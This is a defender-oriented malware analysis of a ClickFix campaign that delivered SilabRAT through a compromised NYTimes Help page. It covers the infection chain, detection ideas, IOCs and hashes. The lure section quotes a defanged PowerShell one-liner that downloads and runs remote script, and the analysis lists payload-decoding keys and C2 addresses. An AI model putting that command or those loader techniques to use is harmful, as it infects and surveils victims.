Sanitized single-case research
A compromised NYTimes Help page: from ClickFix to SilabRAT.
A technical reconstruction of the vacuumtubr campaign, from a trusted Help-page lure through PowerShell persistence, signed-carrier sideloading, HijackLoader and a decoded SilabRAT payload.
Awareness first
ClickFix and TermFix use a person as the execution bridge.
These lures imitate a CAPTCHA, browser check, document error or repair instruction. A real CAPTCHA does not ask you to open Run, PowerShell, Command Prompt or Terminal, and it does not need clipboard history. The exact interface matters because it predicts the artifacts an investigator should seek.
Example 1: Run-dialog lure
Pressing R opens Run
Type the name of a program, folder, document or Internet resource.
Faithful Run-dialog reconstruction from an earlier observed ClickFix case. Command defanged for publication.
Red flag: a CAPTCHA should never ask you to paste a command into Run.
Example 2: Clipboard-history lure
Pressing V opens clipboard history
powershell -w hidden -nop -c "i[r]m hxxps://dntdns[.]shop/teamrepo_stage_loader.js | i[e]x" # Please run to verify your accessPS C:\> powershell -w hidden -nop -c "i[r]m hxxps://dntdns[.]shop/teamrepo_stage_loader.js | i[e]x"Faithful clipboard-history and PowerShell reconstruction using the same defanged case one-liner.
Red flag: never choose, paste or run a clipboard item supplied by a verification page.
Run-dialog ClickFix
R, paste, Enter
The lure opens or points to Windows Run. Explorer-associated execution and RunMRU can preserve the handoff.
TerminalFix or TermFix
Open a shell, then V or paste, Enter
The lure directs the person to PowerShell, Windows Terminal or another shell. Some variants invoke clipboard history.
The recent case
A trusted Help-page context led into attacker-controlled execution.
On 12 August 2026, the observed chain began from malicious content presented through the legitimate help[.]nytimes[.]com host. The parent domain is context, not an IOC to block. RunMRU and process evidence then connected the lure to an obfuscated one-line PowerShell command that referenced vacuumtubr[.]net.
By the time reverse engineering began, the malicious kit was no longer available from the observed NYTimes Help-page location. That is consistent with a rapid removal by the site operator, although the retained evidence cannot establish who removed it or the exact removal time.
- Browser contact
The browser contacted keelhaulably[.]com after the compromised Help-page lure.
- Run-dialog execution
Explorer launched obfuscated PowerShell referencing vacuumtubr[.]net. RunMRU preserved the handoff.
- Persistence
A hidden PowerShell scheduled task was created to run every 40 minutes.
- C2 polling
The persisted script connected to underrecognize[.]com for tasking and upload logic.
Reconstructed campaign
The complete reconstructed vacuumtubr kill chain.
The infographic joins the observed execution and network evidence with the recovered loader chain. Its final row concentrates solely on malware capabilities established through reverse engineering. The loader row highlights how linker64.so recovers x86 shellcode before the spritestate67.dat container yields HijackLoader. Public infrastructure is defanged in the tables below.
Evidence boundaries
Separate the execution evidence from the recovered payload analysis.
The endpoint timeline and the recovered payload answer different questions. The first reconstructs the executed chain. The second records exactly what reverse engineering exposed in the final payload and its configuration.
Observed or confirmed
- Run-dialog PowerShell execution supported by RunMRU
- Remote staging through vacuumtubr[.]net
- Scheduled-task persistence and recurring hidden PowerShell
- Polling and response handling through underrecognize[.]com
- Bundle retrieval, extraction and execution of S_Smart.exe
- The signed carrier process running with its own image mapped
- Scripted cleanup of the downloaded archive and extraction directory
Recovered through reverse engineering
- Chromium credential, cookie and app-bound encryption access
- Keylogging, clipboard monitoring and screen capture
- TightVNC or RFB remote desktop capability
- File discovery, archiving, upload and download
- Shell and process creation plus follow-on payload delivery
- Wallet discovery, persistence and UAC-related functions
- Control and data channels at 91.199.163[.]124:3333 and :3334
Reverse-engineered chain
Signed carrier, side-loaded DLLs, shellcode and a PNG-shaped container.
- PowerShell staging
The persisted script checked for guard processes, contained AMSI and PowerShell ETW tampering logic, compiled helper code through csc.exe, then retrieved S_Smart.txt.
- Bundle preparation
The response was Base64-decoded to a temporary ZIP, 15,792,137 bytes, and exactly 21 top-level files were extracted to C:\ProgramData\S_Smart.
- Signed carrier
S_Smart.exe was a legitimately signed Microvirt MEmu component with original filename MEmuPush.exe. It side-loaded modified libmemuqt.dll and WebView2Loader.dll.
- Shellcode recovery
linker64.so held a decoy prefix and 6,164-byte x86 body. Adding 0xAE463C50 to each DWORD recovered the shellcode.
- HijackLoader container
The shellcode stomped tapisrv.dll and consumed spritestate67.dat. That file used 567 CRC-valid PNG IDAT chunks without a normal PNG signature or IHDR.
- Final payload
The IDAT bodies used marker 0xEA79A5C6, XOR key 0x36B4F02B and LZNT1 compression. HijackLoader selected its ti module, loaded input.dll and recovered the 3,716,808-byte SilabRAT PE.
The decoded SilabRAT configuration used tag=work, buildId=main and%ALLUSERSPROFILE%\Siyuta. The recovered control and data channels appear in the IOC appendix as configuration values recovered during reverse engineering.
Defender actions
Detection opportunities exist at every transition.
Browser to Run
Correlate Help-page browsing, clipboard instructions, RunMRU writes and Explorer-associated shell launch in a tight window.
PowerShell persistence
Alert on hidden PowerShell scheduled every 40 minutes, long task duration and scripts under unusual ProgramData paths.
Dynamic compilation
Review csc.exe spawned from PowerShell, especially when paired with AMSI or ETW manipulation and remote script retrieval.
Signed binary sideloading
Look for a signed MEmu carrier running outside its expected product context with adjacent modified DLLs and data containers.
Container anomalies
Flag PNG-like files made only of CRC-valid IDAT chunks, unusual XOR loops and LZNT1 decompression before image mapping.
Confidence labels
Keep observed execution, failed callbacks, decoded configuration and static capability as separate evidence classes.
Defanged appendix
Full public IOC list for this case.
Domains, URLs and public addresses are defanged. The legitimate NYTimes Help host is included only to document initial-access context. Do not block the entire domain. No private address, victim identity, endpoint name, username, email address, employer name or internal incident identifier is published.
Network and infrastructure
| Role | Indicator | Confidence |
|---|---|---|
| Lure context | help[.]nytimes[.]com | Legitimate host observed serving the lure. Do not block the whole domain. |
| Initial loader | vacuumtubr[.]net | PowerShell loader and staging infrastructure. |
| Persisted C2 | underrecognize[.]com | Polling, response and upload channel. |
| Bundle retrieval | hxxps://keelhaulably[.]com/S_Smart[.]txt | Encoded bundle retrieval path. |
| Later callback | 178.16.55[.]232:443 | Observed failed callback infrastructure. |
| Recovered RAT control | 91.199.163[.]124:3333 | Recovered from the final SilabRAT configuration during reverse engineering. |
| Recovered RAT data | 91.199.163[.]124:3334 | Recovered from the final SilabRAT configuration during reverse engineering. |
Persistence, paths and filenames
| Type | Value |
|---|---|
| Scheduled task | \Festivalgoeres\Zoogeographyship\Households |
| Task GUID | {DA69E267-E8D4-469E-BD3F-E301E05EAE7D} |
| Persisted script | C:\ProgramData\Windshieldsism\quantifiedably.ps1 |
| Campaign token | C:\ProgramData\Windshieldsism\btYnVMewnMYrWYsmtioQPNQRhuJWYf |
| Deleted result | TaskCreateResult.txt |
| Extracted directory | C:\ProgramData\S_Smart |
| Carrier and loaders | S_Smart.exe, libmemuqt.dll, WebView2Loader.dll, linker64.so |
| Stomped and data files | tapisrv.dll, spritestate67.dat, input.dll |
| Decoded names | SynaEngine32.exe, MediaMonkeyVHelper.exe, xmllite.dll |
| Runtime helpers | 32ommfc5.dll, 5t1aojbz.dll |
Cryptographic hashes
| Artifact | Hash |
|---|---|
| Recovered malicious PowerShell stage | 7cf7c9ba84b2a481367cf49a29e1c154dbc2b3098a46181644959c2405e6a2e7 |
| Original embedded bypass stage | 3591512bfcd58cc56a192b7b2292f2031268299393e53295aa269688aafacd23 |
| S_Smart_payload.zip | 0dbf74e1d02f7f8b43631375e36d86034d160d7e85527ba9f5c1c82a2c2633a7 |
| S_Smart.exe | 6d46b1b4c63ea33f7e1bd5bd2ff915c32bcb0769add87886cfc41e5e9a361c93 |
| Decoded linker64.so shellcode | 9ed5c1ae2a2e5228c3c59059d2118f508c1a65a1d79c92f406b60a798627d919 |
| LZNT1 HijackLoader container | 7138a93550f7398cea9e98923edbdf8848322e55c1a09a123259f7e9d0693843 |
| Final SilabRAT PE | 871b54d2f6c83f33dfe95d2a5d96d223630e6d505acf3419e7fdc364365ae7ce |
| Final SilabRAT PE, SHA-1 | 371b03a81856593417b4f1c01a46c9672718accf |
Scope and privacy
One case now, a comparable series later.
This first paper documents the recent vacuumtubr case. Additional cases can be added later using the same observed-versus-decoded standard. The public edition intentionally removes victim and organization details, endpoints, usernames, email addresses, internal identifiers, private addresses and organization-specific telemetry.
Public attacker infrastructure, payload paths, filenames, persistence artifacts and cryptographic hashes are retained because they support detection and incident response. No smart-contract address was verified in this case, so none is listed.
Questions and limits
What this report does and does not claim.
Was the entire New York Times compromised?
No such conclusion is supported here. The evidence in this case identifies malicious content delivered through a page on the legitimate help.nytimes.com host. That is the scope of the claim. The legitimate parent domain should not be treated as attacker infrastructure or blocked wholesale.
Was this ClickFix or TermFix?
The observed RunMRU evidence and Explorer-associated PowerShell launch support Run-dialog ClickFix. TermFix is the related variation that tells a victim to open PowerShell, Windows Terminal or another shell directly.
What did the reverse engineering establish about SilabRAT?
The final SilabRAT PE and its configuration were recovered. Static analysis exposed its control and data endpoints, persistence material, path configuration and collection capabilities. This report confines its claims to those recovered artifacts and the execution evidence described in the timeline.